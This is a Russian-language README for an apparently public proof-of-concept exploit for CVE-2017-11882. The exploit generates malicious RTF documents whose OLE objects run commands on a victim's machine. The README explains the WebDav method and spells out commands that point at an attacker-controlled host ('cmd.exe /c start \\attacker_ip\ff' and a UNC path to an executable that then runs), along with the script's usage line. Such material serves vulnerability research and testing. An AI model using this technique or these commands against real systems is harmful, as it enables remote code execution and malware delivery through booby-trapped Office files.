embedi/cve-2017-11882Эксплойт Proof-of-concept для CVE-2017-11882 с удалённым выполнением на основе WebDav, генерирующий вредоносные RTF-документы для запуска выполнения команд через OLE-объекты.
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Исследование: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Анализ патча: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
Демонстрация PoC-эксплуатации: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410
Простой PoC для CVE-2017-11882. Этот эксплойт запускает службу WebClient и выполняет удаленный файл с контролируемого злоумышленником WebDav-сервера. Причина, по которой этот подход может быть полезен, — ограничение длины выполняемой команды. Однако с помощью WebDav можно запустить произвольный исполняемый файл, контролируемый злоумышленником, на уязвимой машине. Этот скрипт создает простой документ с несколькими OLE-объектами. Эти объекты эксплуатируют CVE-2017-11882, что приводит к последовательному выполнению команд.
Первая команда, запускающая службу WebClient, может выглядеть так:
cmd.exe /c start \\attacker_ip\ff
Путь к исполняемому файлу, контролируемому злоумышленником, должен быть UNC-сетевым путем:
\\attacker_ip\ff\1.exe
webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
Папка example содержит .rtf файл, который эксплуатирует уязвимость CVE-2017-11882 и запускает калькулятор в системе.